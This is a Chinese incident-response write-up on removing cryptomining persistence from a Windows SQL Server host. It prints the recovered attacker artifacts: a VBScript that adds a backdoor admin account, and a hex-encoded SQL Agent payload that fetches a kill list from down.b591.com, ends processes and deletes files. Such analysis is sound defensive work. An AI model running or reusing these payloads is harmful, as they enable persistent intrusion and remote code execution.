安全运维 | 记一次挖矿应急响应案例!

admin 2023年2月16日11:18:54评论51 views字数 3776阅读12分35秒阅读模式

声明:本人坚决反对利用文章内容进行恶意攻击行为,一切错误行为必将受到惩罚,绿色网络需要靠我们共同维护,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全。


0x01 前言

在一个阳光明媚的下午和群里的兄弟在吹牛,然后甲方爸爸突然发了一张截图~
安全运维 | 记一次挖矿应急响应案例!


0x02 分析与处置

1. 立马通知现场的同事先对服务器进行断网
2. 此告警为防火墙与EDR联动之后由防火墙推送过来的,查看防火墙上的告警,发现受害主机在每天的0点、8点、14点、16点左右均会访问恶意域名down.b591.comdown.1226bye.pw,初步判断可能是入侵者配置的定时任务触发告警
安全运维 | 记一次挖矿应急响应案例!


3. 上机排查系统计划任务,计划任务中存在一个2015年10月16日创建的名称为456456的定时任务,计划脚本内容如下:

Set o=CreateObject("Shell.Users")Set z=o.create("nanshou")z.changePassword "nanshoul",""z.setting("AccountType")=3

安全运维 | 记一次挖矿应急响应案例!


该脚本为每一分钟添加一个账号密码为nanshou/nanshou1的系统用户,先删除对应的脚本nanshou.vbs和定时任务,再将nanshou用户删除

安全运维 | 记一次挖矿应急响应案例!

4. 目前只找到一个恶意的计划任务,确认是被入侵成功,但还未找到已挖矿相关的痕迹,继续排查安全设备与服务器,EDR上发现访问恶意域名的动作由sqlserver.exe发起,利用沙箱对其进行分析,并未发现其有访问恶意域名的动作和其他恶意行为

安全运维 | 记一次挖矿应急响应案例!
安全运维 | 记一次挖矿应急响应案例!

5. 根据EDR上sqlserver.exe的调用行为,与该恶意域名的威胁分析,初步判断与sqlserver数据库有关

安全运维 | 记一次挖矿应急响应案例!

6. 登录受害主机sqlserver数据库,查看其计划作业任务,发现存在多个定时计划作业任务

安全运维 | 记一次挖矿应急响应案例!

7. 逐个核查计划作业任务,ftpbacks.exe该作业任务为每天2点左右通过ftp服务访问恶意域名:down.1226bye.pw,下载恶意文件,并保存到C:/windows/system目录下,检查C:/windows/system目录,未发现有下载成功的恶意脚本存在

安全运维 | 记一次挖矿应急响应案例!

根据作业步骤显示,该作业任务的脚本位置在C:/windows/system目录下,作业内容如下图所示,已删除该计划作业任务和恶意脚本

安全运维 | 记一次挖矿应急响应案例!
安全运维 | 记一次挖矿应急响应案例!
安全运维 | 记一次挖矿应急响应案例!

8. 继续分析作业任务dbdotas、dbdotas2和task.exe,发现其作业内容均为同一段HEX加密的编码

declare @a varchar(8000);set @a=0x4445434C41524520406A733120696E743B455845432073705F4F414372656174652027536372697074436F6E74726F6C272C406A7331204F55543B455845432073705F4F4153657450726F706572747920406A73312C20274C616E6775616765272C20274A617661536372697074312E31273B455845432073705F4F414D6574686F6420406A73312C20274576616C272C204E554C4C2C202775726C203D2022687474703A2F2F646F776E2E623539312E636F6D3A383838382F6B696C6C2E68746D6C223B2068747470203D206E657720416374697665584F626A65637428224D73786D6C322E584D4C4854545022293B2066736F203D206E657720416374697665584F626A6563742822536372697074696E672E46696C6573797374656D4F626A65637422293B20777368203D206E657720416374697665584F626A6563742822575363726970742E5368656C6C22293B20687474702E6F70656E2822474554222C2075726C2C2066616C7365293B20687474702E73656E6428293B20737472203D20687474702E726573706F6E7365546578743B20617272203D207374722E73706C697428225C725C6E22293B20666F72202869203D20303B2069203C206172722E6C656E6774683B20692B2B29207B2074203D206172725B695D2E73706C697428222022293B2070726F63203D20745B305D3B2070617468203D20745B315D3B2064656C65203D20745B325D3B207773682E52756E28227461736B6B696C6C202F66202F696D2022202B2070726F632C20302C2074727565293B206966202864656C65203D3D203029207B20747279207B2066736F2E44656C65746546696C6528706174682C2074727565293B207D20636174636820286529207B7D207D207D27;exec(@a);


经过HEX转码后发现这是一个用 JavaScript 和 VBScript 混合编写的脚本,使用 ActiveX 对象执行恶意操作。该脚本创建一个 ActiveX 对象“ScriptControl”并将其语言属性设置为 JavaScript 1.1。然后它使用“Eval”方法运行一串包含 JavaScript 和 VBScript 代码的代码。该代码执行以下操作:


  1. 创建了几个 ActiveX 对象,包括用于发送 HTTP 请求的“Msxml2.XMLHTTP”、用于操作文件的“Scripting.FileSystemObject”和用于执行 shell 命令的“WScript.Shell”。

  2. 使用“Msxml2.XMLHTTP”对象的“打开”和“发送”方法向指定的 URL 发送 GET 请求,请求down.b591.com:8888/kill.html尝试下载文件,并将响应文本保存到变量中。
  3. 将响应文本拆分为一个数组并循环遍历每个元素。对于每个元素,它再次将其分成两部分:进程名称和文件路径。
  4. 使用“WScript.Shell”对象的“Run”方法来执行 shell 命令“taskkill /f /im”,后跟进程名称。这将强制终止指定的进程。
  5. 如果元素的第二部分为 0,则使用“Scripting.FileSystemObject”对象的“DeleteFile”方法删除指定的文件路径。

安全运维 | 记一次挖矿应急响应案例!


9. 继续分析计划作业任务dbdotas3,发现其也为恶意作业任务,解码发现其存在访问恶意IOC的行为,立即对其进行删除处理

安全运维 | 记一次挖矿应急响应案例!
安全运维 | 记一次挖矿应急响应案例!

10. 分析pdoors.exe作业任务,其为运行ftpbacks.exe作业任务下载的恶意脚本myusago.dvr,已删除该作业计划

安全运维 | 记一次挖矿应急响应案例!

11. 分析pdoors.exe作业任务,其为运行ftpbacks.exe作业任务下载的恶意脚本backs.bat,已删除该作业计划

安全运维 | 记一次挖矿应急响应案例!


0x03 入侵路径还原

由于入侵时间久远(初步判断为2015年10月14日),数据库日志和系统日志缺失,且服务器审核策略未完全配置,无法准确溯源
安全运维 | 记一次挖矿应急响应案例!


根据威胁情报大概判断入侵路径为利用暴露在外网的SQL Server数据库弱密码爆破方式入侵该windows服务器(该服务器已在几年前禁止与外网通信),最后建立sqlserver计划作业任务来进行下一步的挖矿动作。

0x04 加固建议

1. 建议数据库和RDP等避免使用弱密码,避免多个系统使用同一个密码,登录口令需要满足等保要求的长度和复杂度,并且定期更换口令。

2. 关闭数据库账号登录方式,以 windows 身份验证方式登录数据库,并在 windows 策略里设置密码强度。

3. 建议加强安全管理,建立网络安全应急处置机制,完善系统日志审核策略、存储容量及存储方式,配合安全设备做好监测措施,及时发现攻击风险,及时处理。

文章来源:奇安信攻防社区(J1ng)原文地址:https://forum.butian.net/share/2126

-END-

▎经典文章精选

安全运维 | iptable使用详解
安全运维 | RDP登录日志取证和清除
安全运维 | 七款常用Linux远程连接工具
安全运维 | TeamTNT挖矿木马应急溯源分析
安全运维 | Windows常用系统指令及服务总结
安全运维 | tcprepaly工具的安装与使用!
安全运维 | 如何使用Tcprepaly重放数据包!
安全运维 | Linux启动流程和服务管理
安全运维 | Supervisor进程管理工具
安全运维 | 记一次挖矿应急响应案例!

扫描下方 二维码 加入我们吧!

安全运维 | 记一次挖矿应急响应案例!

原文始发于微信公众号(betasec):安全运维 | 记一次挖矿应急响应案例!

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月16日11:18:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   安全运维 | 记一次挖矿应急响应案例!https://cn-sec.com/archives/1555235.html

发表评论

匿名网友 填写信息